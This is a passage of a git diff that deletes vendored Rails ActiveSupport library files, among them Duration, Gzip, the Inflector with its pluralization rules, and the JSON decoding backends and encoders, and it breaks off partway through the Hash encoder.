-end
diff --git a/vendor/rails/activesupport/lib/active_support/duration.rb b/vendor/rails/activesupport/lib/active_support/duration.rb
deleted file mode 100644
index aa6d1aa3..00000000
--- a/vendor/rails/activesupport/lib/active_support/duration.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require 'active_support/basic_object'
-
-module ActiveSupport
-  # Provides accurate date and time measurements using Date#advance and 
-  # Time#advance, respectively. It mainly supports the methods on Numeric,
-  # such as in this example:
-  #
-  #   1.month.ago       # equivalent to Time.now.advance(:months => -1)
-  class Duration < BasicObject
-    attr_accessor :value, :parts
-
-    def initialize(value, parts) #:nodoc:
-      @value, @parts = value, parts
-    end
-
-    # Adds another Duration or a Numeric to this Duration. Numeric values
-    # are treated as seconds.
-    def +(other)
-      if Duration === other
-        Duration.new(value + other.value, @parts + other.parts)
-      else
-        Duration.new(value + other, @parts + [[:seconds, other]])
-      end
-    end
-
-    # Subtracts another Duration or a Numeric from this Duration. Numeric
-    # values are treated as seconds.
-    def -(other)
-      self + (-other)
-    end
-
-    def -@ #:nodoc:
-      Duration.new(-value, parts.map { |type,number| [type, -number] })
-    end
-
-    def is_a?(klass) #:nodoc:
-      klass == Duration || super
-    end
-
-    # Returns true if <tt>other</tt> is also a Duration instance with the
-    # same <tt>value</tt>, or if <tt>other == value</tt>.
-    def ==(other)
-      if Duration === other
-        other.value == value
-      else
-        other == value
-      end
-    end
-
-    def self.===(other) #:nodoc:
-      other.is_a?(Duration) rescue super
-    end
-
-    # Calculates a new Time or Date that is as far in the future
-    # as this Duration represents.
-    def since(time = ::Time.current)
-      sum(1, time)
-    end
-    alias :from_now :since
-
-    # Calculates a new Time or Date that is as far in the past
-    # as this Duration represents.
-    def ago(time = ::Time.current)
-      sum(-1, time)
-    end
-    alias :until :ago
-
-    def inspect #:nodoc:
-      consolidated = parts.inject(::Hash.new(0)) { |h,part| h[part.first] += part.last; h }
-      parts = [:years, :months, :days, :minutes, :seconds].map do |length|
-        n = consolidated[length]
-        "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
-      end.compact
-      parts = ["0 seconds"] if parts.empty?
-      parts.to_sentence(:locale => :en)
-    end
-
-    protected
-
-      def sum(sign, time = ::Time.current) #:nodoc:
-        parts.inject(time) do |t,(type,number)|
-          if t.acts_like?(:time) || t.acts_like?(:date)
-            if type == :seconds
-              t.since(sign * number)
-            else
-              t.advance(type => sign * number)
-            end
-          else
-            raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
-          end
-        end
-      end
-
-    private
-
-      def method_missing(method, *args, &block) #:nodoc:
-        value.send(method, *args)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/gzip.rb b/vendor/rails/activesupport/lib/active_support/gzip.rb
deleted file mode 100644
index 35a50e9a..00000000
--- a/vendor/rails/activesupport/lib/active_support/gzip.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'zlib'
-require 'stringio'
-
-module ActiveSupport
-  # A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip.
-  module Gzip
-    class Stream < StringIO
-      def close; rewind; end
-    end
-
-    # Decompresses a gzipped string.
-    def self.decompress(source)
-      Zlib::GzipReader.new(StringIO.new(source)).read
-    end
-
-    # Compresses a string using gzip.
-    def self.compress(source)
-      output = Stream.new
-      gz = Zlib::GzipWriter.new(output)
-      gz.write(source)
-      gz.close
-      output.string
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/inflections.rb b/vendor/rails/activesupport/lib/active_support/inflections.rb
deleted file mode 100644
index e7b5387e..00000000
--- a/vendor/rails/activesupport/lib/active_support/inflections.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-module ActiveSupport
-  Inflector.inflections do |inflect|
-    inflect.plural(/$/, 's')
-    inflect.plural(/s$/i, 's')
-    inflect.plural(/(ax|test)is$/i, '\1es')
-    inflect.plural(/(octop|vir)us$/i, '\1i')
-    inflect.plural(/(alias|status)$/i, '\1es')
-    inflect.plural(/(bu)s$/i, '\1ses')
-    inflect.plural(/(buffal|tomat)o$/i, '\1oes')
-    inflect.plural(/([ti])um$/i, '\1a')
-    inflect.plural(/sis$/i, 'ses')
-    inflect.plural(/(?:([^f])fe|([lr])f)$/i, '\1\2ves')
-    inflect.plural(/(hive)$/i, '\1s')
-    inflect.plural(/([^aeiouy]|qu)y$/i, '\1ies')
-    inflect.plural(/(x|ch|ss|sh)$/i, '\1es')
-    inflect.plural(/(matr|vert|ind)(?:ix|ex)$/i, '\1ices')
-    inflect.plural(/([m|l])ouse$/i, '\1ice')
-    inflect.plural(/^(ox)$/i, '\1en')
-    inflect.plural(/(quiz)$/i, '\1zes')
-
-    inflect.singular(/s$/i, '')
-    inflect.singular(/(n)ews$/i, '\1ews')
-    inflect.singular(/([ti])a$/i, '\1um')
-    inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i, '\1\2sis')
-    inflect.singular(/(^analy)ses$/i, '\1sis')
-    inflect.singular(/([^f])ves$/i, '\1fe')
-    inflect.singular(/(hive)s$/i, '\1')
-    inflect.singular(/(tive)s$/i, '\1')
-    inflect.singular(/([lr])ves$/i, '\1f')
-    inflect.singular(/([^aeiouy]|qu)ies$/i, '\1y')
-    inflect.singular(/(s)eries$/i, '\1eries')
-    inflect.singular(/(m)ovies$/i, '\1ovie')
-    inflect.singular(/(x|ch|ss|sh)es$/i, '\1')
-    inflect.singular(/([m|l])ice$/i, '\1ouse')
-    inflect.singular(/(bus)es$/i, '\1')
-    inflect.singular(/(o)es$/i, '\1')
-    inflect.singular(/(shoe)s$/i, '\1')
-    inflect.singular(/(cris|ax|test)es$/i, '\1is')
-    inflect.singular(/(octop|vir)i$/i, '\1us')
-    inflect.singular(/(alias|status)es$/i, '\1')
-    inflect.singular(/^(ox)en/i, '\1')
-    inflect.singular(/(vert|ind)ices$/i, '\1ex')
-    inflect.singular(/(matr)ices$/i, '\1ix')
-    inflect.singular(/(quiz)zes$/i, '\1')
-    inflect.singular(/(database)s$/i, '\1')
-
-    inflect.irregular('person', 'people')
-    inflect.irregular('man', 'men')
-    inflect.irregular('child', 'children')
-    inflect.irregular('sex', 'sexes')
-    inflect.irregular('move', 'moves')
-    inflect.irregular('cow', 'kine')
-
-    inflect.uncountable(%w(equipment information rice money species series fish sheep jeans))
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/inflector.rb b/vendor/rails/activesupport/lib/active_support/inflector.rb
deleted file mode 100644
index f7c352b6..00000000
--- a/vendor/rails/activesupport/lib/active_support/inflector.rb
+++ /dev/null
@@ -1,409 +0,0 @@
-# encoding: utf-8
-require 'singleton'
-require 'iconv'
-require 'kconv'
-
-module ActiveSupport
-  # The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without,
-  # and class names to foreign keys. The default inflections for pluralization, singularization, and uncountable words are kept
-  # in inflections.rb.
-  #
-  # The Rails core team has stated patches for the inflections library will not be accepted
-  # in order to avoid breaking legacy applications which may be relying on errant inflections.
-  # If you discover an incorrect inflection and require it for your application, you'll need
-  # to correct it yourself (explained below).
-  module Inflector
-    extend self
-
-    # A singleton instance of this class is yielded by Inflector.inflections, which can then be used to specify additional
-    # inflection rules. Examples:
-    #
-    #   ActiveSupport::Inflector.inflections do |inflect|
-    #     inflect.plural /^(ox)$/i, '\1\2en'
-    #     inflect.singular /^(ox)en/i, '\1'
-    #
-    #     inflect.irregular 'octopus', 'octopi'
-    #
-    #     inflect.uncountable "equipment"
-    #   end
-    #
-    # New rules are added at the top. So in the example above, the irregular rule for octopus will now be the first of the
-    # pluralization and singularization rules that is runs. This guarantees that your rules run before any of the rules that may
-    # already have been loaded.
-    class Inflections
-      include Singleton
-
-      attr_reader :plurals, :singulars, :uncountables, :humans
-
-      def initialize
-        @plurals, @singulars, @uncountables, @humans = [], [], [], []
-      end
-
-      # Specifies a new pluralization rule and its replacement. The rule can either be a string or a regular expression.
-      # The replacement should always be a string that may include references to the matched data from the rule.
-      def plural(rule, replacement)
-        @uncountables.delete(rule) if rule.is_a?(String)
-        @uncountables.delete(replacement)
-        @plurals.insert(0, [rule, replacement])
-      end
-
-      # Specifies a new singularization rule and its replacement. The rule can either be a string or a regular expression.
-      # The replacement should always be a string that may include references to the matched data from the rule.
-      def singular(rule, replacement)
-        @uncountables.delete(rule) if rule.is_a?(String)
-        @uncountables.delete(replacement)
-        @singulars.insert(0, [rule, replacement])
-      end
-
-      # Specifies a new irregular that applies to both pluralization and singularization at the same time. This can only be used
-      # for strings, not regular expressions. You simply pass the irregular in singular and plural form.
-      #
-      # Examples:
-      #   irregular 'octopus', 'octopi'
-      #   irregular 'person', 'people'
-      def irregular(singular, plural)
-        @uncountables.delete(singular)
-        @uncountables.delete(plural)
-        if singular[0,1].upcase == plural[0,1].upcase
-          plural(Regexp.new("(#{singular[0,1]})#{singular[1..-1]}$", "i"), '\1' + plural[1..-1])
-          singular(Regexp.new("(#{plural[0,1]})#{plural[1..-1]}$", "i"), '\1' + singular[1..-1])
-        else
-          plural(Regexp.new("#{singular[0,1].upcase}(?i)#{singular[1..-1]}$"), plural[0,1].upcase + plural[1..-1])
-          plural(Regexp.new("#{singular[0,1].downcase}(?i)#{singular[1..-1]}$"), plural[0,1].downcase + plural[1..-1])
-          singular(Regexp.new("#{plural[0,1].upcase}(?i)#{plural[1..-1]}$"), singular[0,1].upcase + singular[1..-1])
-          singular(Regexp.new("#{plural[0,1].downcase}(?i)#{plural[1..-1]}$"), singular[0,1].downcase + singular[1..-1])
-        end
-      end
-
-      # Add uncountable words that shouldn't be attempted inflected.
-      #
-      # Examples:
-      #   uncountable "money"
-      #   uncountable "money", "information"
-      #   uncountable %w( money information rice )
-      def uncountable(*words)
-        (@uncountables << words).flatten!
-      end
-
-      # Specifies a humanized form of a string by a regular expression rule or by a string mapping.
-      # When using a regular expression based replacement, the normal humanize formatting is called after the replacement.
-      # When a string is used, the human form should be specified as desired (example: 'The name', not 'the_name')
-      #
-      # Examples:
-      #   human /_cnt$/i, '\1_count'
-      #   human "legacy_col_person_name", "Name"
-      def human(rule, replacement)
-        @humans.insert(0, [rule, replacement])
-      end
-
-      # Clears the loaded inflections within a given scope (default is <tt>:all</tt>).
-      # Give the scope as a symbol of the inflection type, the options are: <tt>:plurals</tt>,
-      # <tt>:singulars</tt>, <tt>:uncountables</tt>, <tt>:humans</tt>.
-      #
-      # Examples:
-      #   clear :all
-      #   clear :plurals
-      def clear(scope = :all)
-        case scope
-          when :all
-            @plurals, @singulars, @uncountables = [], [], []
-          else
-            instance_variable_set "@#{scope}", []
-        end
-      end
-    end
-
-    # Yields a singleton instance of Inflector::Inflections so you can specify additional
-    # inflector rules.
-    #
-    # Example:
-    #   ActiveSupport::Inflector.inflections do |inflect|
-    #     inflect.uncountable "rails"
-    #   end
-    def inflections
-      if block_given?
-        yield Inflections.instance
-      else
-        Inflections.instance
-      end
-    end
-
-    # Returns the plural form of the word in the string.
-    #
-    # Examples:
-    #   "post".pluralize             # => "posts"
-    #   "octopus".pluralize          # => "octopi"
-    #   "sheep".pluralize            # => "sheep"
-    #   "words".pluralize            # => "words"
-    #   "CamelOctopus".pluralize     # => "CamelOctopi"
-    def pluralize(word)
-      result = word.to_s.dup
-
-      if word.empty? || inflections.uncountables.include?(result.downcase)
-        result
-      else
-        inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
-        result
-      end
-    end
-
-    # The reverse of +pluralize+, returns the singular form of a word in a string.
-    #
-    # Examples:
-    #   "posts".singularize            # => "post"
-    #   "octopi".singularize           # => "octopus"
-    #   "sheep".singluarize            # => "sheep"
-    #   "word".singularize             # => "word"
-    #   "CamelOctopi".singularize      # => "CamelOctopus"
-    def singularize(word)
-      result = word.to_s.dup
-
-      if inflections.uncountables.any? { |inflection| result =~ /#{inflection}\Z/i }
-        result
-      else
-        inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
-        result
-      end
-    end
-
-    # By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+
-    # is set to <tt>:lower</tt> then +camelize+ produces lowerCamelCase.
-    #
-    # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
-    #
-    # Examples:
-    #   "active_record".camelize                # => "ActiveRecord"
-    #   "active_record".camelize(:lower)        # => "activeRecord"
-    #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
-    #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
-    def camelize(lower_case_and_underscored_word, first_letter_in_uppercase = true)
-      if first_letter_in_uppercase
-        lower_case_and_underscored_word.to_s.gsub(/\/(.?)/) { "::#{$1.upcase}" }.gsub(/(?:^|_)(.)/) { $1.upcase }
-      else
-        lower_case_and_underscored_word.first.downcase + camelize(lower_case_and_underscored_word)[1..-1]
-      end
-    end
-
-    # Capitalizes all the words and replaces some characters in the string to create
-    # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
-    # used in the Rails internals.
-    #
-    # +titleize+ is also aliased as as +titlecase+.
-    #
-    # Examples:
-    #   "man from the boondocks".titleize # => "Man From The Boondocks"
-    #   "x-men: the last stand".titleize  # => "X Men: The Last Stand"
-    def titleize(word)
-      humanize(underscore(word)).gsub(/\b('?[a-z])/) { $1.capitalize }
-    end
-
-    # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
-    #
-    # Changes '::' to '/' to convert namespaces to paths.
-    #
-    # Examples:
-    #   "ActiveRecord".underscore         # => "active_record"
-    #   "ActiveRecord::Errors".underscore # => active_record/errors
-    def underscore(camel_cased_word)
-      camel_cased_word.to_s.gsub(/::/, '/').
-        gsub(/([A-Z]+)([A-Z][a-z])/,'\1_\2').
-        gsub(/([a-z\d])([A-Z])/,'\1_\2').
-        tr("-", "_").
-        downcase
-    end
-
-    # Replaces underscores with dashes in the string.
-    #
-    # Example:
-    #   "puni_puni" # => "puni-puni"
-    def dasherize(underscored_word)
-      underscored_word.gsub(/_/, '-')
-    end
-
-    # Capitalizes the first word and turns underscores into spaces and strips a
-    # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output.
-    #
-    # Examples:
-    #   "employee_salary" # => "Employee salary"
-    #   "author_id"       # => "Author"
-    def humanize(lower_case_and_underscored_word)
-      result = lower_case_and_underscored_word.to_s.dup
-
-      inflections.humans.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
-      result.gsub(/_id$/, "").gsub(/_/, " ").capitalize
-    end
-
-    # Removes the module part from the expression in the string.
-    #
-    # Examples:
-    #   "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
-    #   "Inflections".demodulize                                       # => "Inflections"
-    def demodulize(class_name_in_module)
-      class_name_in_module.to_s.gsub(/^.*::/, '')
-    end
-
-    # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
-    #
-    # ==== Examples
-    #
-    #   class Person
-    #     def to_param
-    #       "#{id}-#{name.parameterize}"
-    #     end
-    #   end
-    #
-    #   @person = Person.find(1)
-    #   # => #<Person id: 1, name: "Donald E. Knuth">
-    #
-    #   <%= link_to(@person.name, person_path(@person)) %>
-    #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
-    def parameterize(string, sep = '-')
-      # remove malformed utf8 characters
-      string = string.toutf8 unless string.is_utf8?
-      # replace accented chars with ther ascii equivalents
-      parameterized_string = transliterate(string)
-      # Turn unwanted chars into the seperator
-      parameterized_string.gsub!(/[^a-z0-9\-_]+/i, sep)
-      unless sep.blank?
-        re_sep = Regexp.escape(sep)
-        # No more than one of the separator in a row.
-        parameterized_string.gsub!(/#{re_sep}{2,}/, sep)
-        # Remove leading/trailing separator.
-        parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
-      end
-      parameterized_string.downcase
-    end
-
-
-    # Replaces accented characters with their ascii equivalents.
-    def transliterate(string)
-      Iconv.iconv('ascii//ignore//translit', 'utf-8', string).to_s
-    end
-
-    if RUBY_VERSION >= '1.9'
-      undef_method :transliterate
-      def transliterate(string)
-        warn "Ruby 1.9 doesn't support Unicode normalization yet"
-        string.dup
-      end
-
-    # The iconv transliteration code doesn't function correctly
-    # on some platforms, but it's very fast where it does function.
-    elsif "foo" != (Inflector.transliterate("föö") rescue nil)
-      undef_method :transliterate
-      def transliterate(string)
-        string.mb_chars.normalize(:kd). # Decompose accented characters
-          gsub(/[^\x00-\x7F]+/, '')     # Remove anything non-ASCII entirely (e.g. diacritics).
-      end
-    end
-
-    # Create the name of a table like Rails does for models to table names. This method
-    # uses the +pluralize+ method on the last word in the string.
-    #
-    # Examples
-    #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
-    #   "egg_and_ham".tableize     # => "egg_and_hams"
-    #   "fancyCategory".tableize   # => "fancy_categories"
-    def tableize(class_name)
-      pluralize(underscore(class_name))
-    end
-
-    # Create a class name from a plural table name like Rails does for table names to models.
-    # Note that this returns a string and not a Class. (To convert to an actual class
-    # follow +classify+ with +constantize+.)
-    #
-    # Examples:
-    #   "egg_and_hams".classify # => "EggAndHam"
-    #   "posts".classify        # => "Post"
-    #
-    # Singular names are not handled correctly:
-    #   "business".classify     # => "Busines"
-    def classify(table_name)
-      # strip out any leading schema name
-      camelize(singularize(table_name.to_s.sub(/.*\./, '')))
-    end
-
-    # Creates a foreign key name from a class name.
-    # +separate_class_name_and_id_with_underscore+ sets whether
-    # the method should put '_' between the name and 'id'.
-    #
-    # Examples:
-    #   "Message".foreign_key        # => "message_id"
-    #   "Message".foreign_key(false) # => "messageid"
-    #   "Admin::Post".foreign_key    # => "post_id"
-    def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
-      underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
-    end
-
-    # Ruby 1.9 introduces an inherit argument for Module#const_get and
-    # #const_defined? and changes their default behavior.
-    if Module.method(:const_get).arity == 1
-      # Tries to find a constant with the name specified in the argument string:
-      #
-      #   "Module".constantize     # => Module
-      #   "Test::Unit".constantize # => Test::Unit
-      #
-      # The name is assumed to be the one of a top-level constant, no matter whether
-      # it starts with "::" or not. No lexical context is taken into account:
-      #
-      #   C = 'outside'
-      #   module M
-      #     C = 'inside'
-      #     C               # => 'inside'
-      #     "C".constantize # => 'outside', same as ::C
-      #   end
-      #
-      # NameError is raised when the name is not in CamelCase or the constant is
-      # unknown.
-      def constantize(camel_cased_word)
-        names = camel_cased_word.split('::')
-        names.shift if names.empty? || names.first.empty?
-
-        constant = Object
-        names.each do |name|
-          constant = constant.const_defined?(name) ? constant.const_get(name) : constant.const_missing(name)
-        end
-        constant
-      end
-    else
-      def constantize(camel_cased_word) #:nodoc:
-        names = camel_cased_word.split('::')
-        names.shift if names.empty? || names.first.empty?
-
-        constant = Object
-        names.each do |name|
-          constant = constant.const_get(name, false) || constant.const_missing(name)
-        end
-        constant
-      end
-    end
-
-    # Turns a number into an ordinal string used to denote the position in an
-    # ordered sequence such as 1st, 2nd, 3rd, 4th.
-    #
-    # Examples:
-    #   ordinalize(1)     # => "1st"
-    #   ordinalize(2)     # => "2nd"
-    #   ordinalize(1002)  # => "1002nd"
-    #   ordinalize(1003)  # => "1003rd"
-    def ordinalize(number)
-      if (11..13).include?(number.to_i % 100)
-        "#{number}th"
-      else
-        case number.to_i % 10
-          when 1; "#{number}st"
-          when 2; "#{number}nd"
-          when 3; "#{number}rd"
-          else    "#{number}th"
-        end
-      end
-    end
-  end
-end
-
-# in case active_support/inflector is required without the rest of active_support
-require 'active_support/inflections'
-require 'active_support/core_ext/string/inflections'
-unless String.included_modules.include?(ActiveSupport::CoreExtensions::String::Inflections)
-  String.send :include, ActiveSupport::CoreExtensions::String::Inflections
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json.rb b/vendor/rails/activesupport/lib/active_support/json.rb
deleted file mode 100644
index 3e1d9b1d..00000000
--- a/vendor/rails/activesupport/lib/active_support/json.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_support/json/decoding'
-require 'active_support/json/encoding'
diff --git a/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb b/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb
deleted file mode 100644
index 4076db9d..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/backends/jsongem.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'json' unless defined?(JSON)
-
-module ActiveSupport
-  module JSON
-    module Backends
-      module JSONGem
-        ParseError = ::JSON::ParserError
-        extend self
-
-        # Converts a JSON string into a Ruby object.
-        def decode(json)
-          data = ::JSON.parse(json)
-          if ActiveSupport.parse_json_times
-            convert_dates_from(data)
-          else
-            data
-          end
-        end
-
-      private
-        def convert_dates_from(data)
-          case data
-            when DATE_REGEX
-              DateTime.parse(data)
-            when Array
-              data.map! { |d| convert_dates_from(d) }
-            when Hash
-              data.each do |key, value|
-                data[key] = convert_dates_from(value)
-              end
-            else data
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/backends/yajl.rb b/vendor/rails/activesupport/lib/active_support/json/backends/yajl.rb
deleted file mode 100644
index 64e50e0d..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/backends/yajl.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'yajl' unless defined?(Yajl)
-
-module ActiveSupport
-  module JSON
-    module Backends
-      module Yajl
-        ParseError = ::Yajl::ParseError
-        extend self
-
-        # Parses a JSON string or IO and convert it into an object
-        def decode(json)
-          data = ::Yajl::Parser.new.parse(json)
-          if ActiveSupport.parse_json_times
-            convert_dates_from(data)
-          else
-            data
-          end
-        end
-
-      private
-        def convert_dates_from(data)
-          case data
-          when nil
-            nil
-          when DATE_REGEX
-            DateTime.parse(data)
-          when Array
-            data.map! { |d| convert_dates_from(d) }
-          when Hash
-            data.each do |key, value|
-              data[key] = convert_dates_from(value)
-            end
-          else
-            data
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb b/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb
deleted file mode 100644
index 4c410424..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/backends/yaml.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require 'active_support/core_ext/string/starts_ends_with'
-
-module ActiveSupport
-  module JSON
-    module Backends
-      module Yaml
-        ParseError = ::StandardError
-        extend self
-
-        # Converts a JSON string into a Ruby object.
-        def decode(json)
-          YAML.load(convert_json_to_yaml(json))
-        rescue ArgumentError => e
-          raise ParseError, "Invalid JSON string"
-        end
-
-        protected
-          # Ensure that ":" and "," are always followed by a space
-          def convert_json_to_yaml(json) #:nodoc:
-            require 'strscan' unless defined? ::StringScanner
-            scanner, quoting, marks, pos, times = ::StringScanner.new(json), false, [], nil, []
-            while scanner.scan_until(/(\\['"]|['":,\\]|\\.)/)
-              case char = scanner[1]
-              when '"', "'"
-                if !quoting
-                  quoting = char
-                  pos = scanner.pos
-                elsif quoting == char
-                  if json[pos..scanner.pos-2] =~ DATE_REGEX
-                    # found a date, track the exact positions of the quotes so we can
-                    # overwrite them with spaces later.
-                    times << pos << scanner.pos
-                  end
-                  quoting = false
-                end
-              when ":",","
-                marks << scanner.pos - 1 unless quoting
-              when "\\"
-                scanner.skip(/\\/)
-              end
-            end
-
-            if marks.empty?
-              json.gsub(/\\([\\\/]|u[[:xdigit:]]{4})/) do
-                ustr = $1
-                if ustr.start_with?('u')
-                  [ustr[1..-1].to_i(16)].pack("U")
-                elsif ustr == '\\'
-                  '\\\\'
-                else
-                  ustr
-                end
-              end
-            else
-              left_pos  = [-1].push(*marks)
-              right_pos = marks << scanner.pos + scanner.rest_size
-              output    = []
-              left_pos.each_with_index do |left, i|
-                scanner.pos = left.succ
-                chunk = scanner.peek(right_pos[i] - scanner.pos + 1)
-                # overwrite the quotes found around the dates with spaces
-                while times.size > 0 && times[0] <= right_pos[i]
-                  chunk[times.shift - scanner.pos - 1] = ' '
-                end
-                chunk.gsub!(/\\([\\\/]|u[[:xdigit:]]{4})/) do
-                  ustr = $1
-                  if ustr.start_with?('u')
-                    [ustr[1..-1].to_i(16)].pack("U")
-                  elsif ustr == '\\'
-                    '\\\\'
-                  else
-                    ustr
-                  end
-                end
-                output << chunk
-              end
-              output = output * " "
-
-              output.gsub!(/\\\//, '/')
-              output
-            end
-          end
-      end
-    end
-  end
-end
-
diff --git a/vendor/rails/activesupport/lib/active_support/json/decoding.rb b/vendor/rails/activesupport/lib/active_support/json/decoding.rb
deleted file mode 100644
index 2182b909..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/decoding.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'active_support/core_ext/module/attribute_accessors'
-
-module ActiveSupport
-  # Look for and parse json strings that look like ISO 8601 times.
-  mattr_accessor :parse_json_times
-
-  module JSON
-    # Listed in order of preference.
-    DECODERS = %w(Yajl Yaml)
-
-    class << self
-      attr_reader :parse_error
-      delegate :decode, :to => :backend
-
-      def backend
-        set_default_backend unless defined?(@backend)
-        @backend
-      end
-
-      def backend=(name)
-        if name.is_a?(Module)
-          @backend = name
-        else
-          require "active_support/json/backends/#{name.to_s.downcase}.rb"
-          @backend = ActiveSupport::JSON::Backends::const_get(name)
-        end
-        @parse_error = @backend::ParseError
-      end
-
-      def with_backend(name)
-        old_backend, self.backend = backend, name
-        yield
-      ensure
-        self.backend = old_backend
-      end
-
-      def set_default_backend
-        DECODERS.find do |name|
-          begin
-            self.backend = name
-            true
-          rescue LoadError
-            # Try next decoder.
-            false
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb
deleted file mode 100644
index 0df1b8ed..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/date.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class Date
-  # Coerces the date to a string for JSON encoding.
-  #
-  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
-  #
-  # ==== Examples
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-  #   Date.new(2005,2,1).to_json
-  #   # => "2005-02-01"
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-  #   Date.new(2005,2,1).to_json
-  #   # => "2005/02/01"
-  def as_json(options = nil)
-    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-      strftime("%Y-%m-%d")
-    else
-      strftime("%Y/%m/%d")
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb
deleted file mode 100644
index 20c12a76..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/date_time.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class DateTime
-  # Coerces the datetime to a string for JSON encoding.
-  #
-  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
-  #
-  # ==== Examples
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-  #   DateTime.civil(2005,2,1,15,15,10).to_json
-  #   # => "2005-02-01T15:15:10+00:00"
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-  #   DateTime.civil(2005,2,1,15,15,10).to_json
-  #   # => "2005/02/01 15:15:10 +0000"
-  def as_json(options = nil)
-    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-      xmlschema
-    else
-      strftime('%Y/%m/%d %H:%M:%S %z')
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb
deleted file mode 100644
index 65924e38..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/enumerable.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-module Enumerable
-  # Coerces the enumerable to an array for JSON encoding.
-  def as_json(options = nil) #:nodoc:
-    to_a
-  end
-end
-
-class Array
-  # Returns a JSON string representing the Array. +options+ are passed to each element.
-  def to_json(options = nil) #:nodoc:
-    "[#{map { |value| ActiveSupport::JSON.encode(value, options) } * ','}]"
-  end
-
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb
deleted file mode 100644
index c2bb1ee2..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/false_class.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class FalseClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('false').freeze
-
-  def as_json(options = nil) #:nodoc:
-    AS_JSON
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb
deleted file mode 100644
index cfe21e4a..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require 'active_support/core_ext/array/wrapper'
-
-class Hash
-  # Returns a JSON string representing the hash.
-  #
-  # Without any +options+, the returned JSON string will include all
-  # the hash keys. For example:
-  #
-  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json
-  #   # => {"name": "Konata Izumi", "1": 2, "age": 16}
-  #
-  # The keys in the JSON string are unordered due to the nature of hashes.
-  #
-  # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the
-  # attributes included, and will accept 1 or more hash keys to include/exclude.
-  #
-  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json(:only => [:name, 'age'])
-  #   # => {"name": "Konata Izumi", "age": 16}
-  #
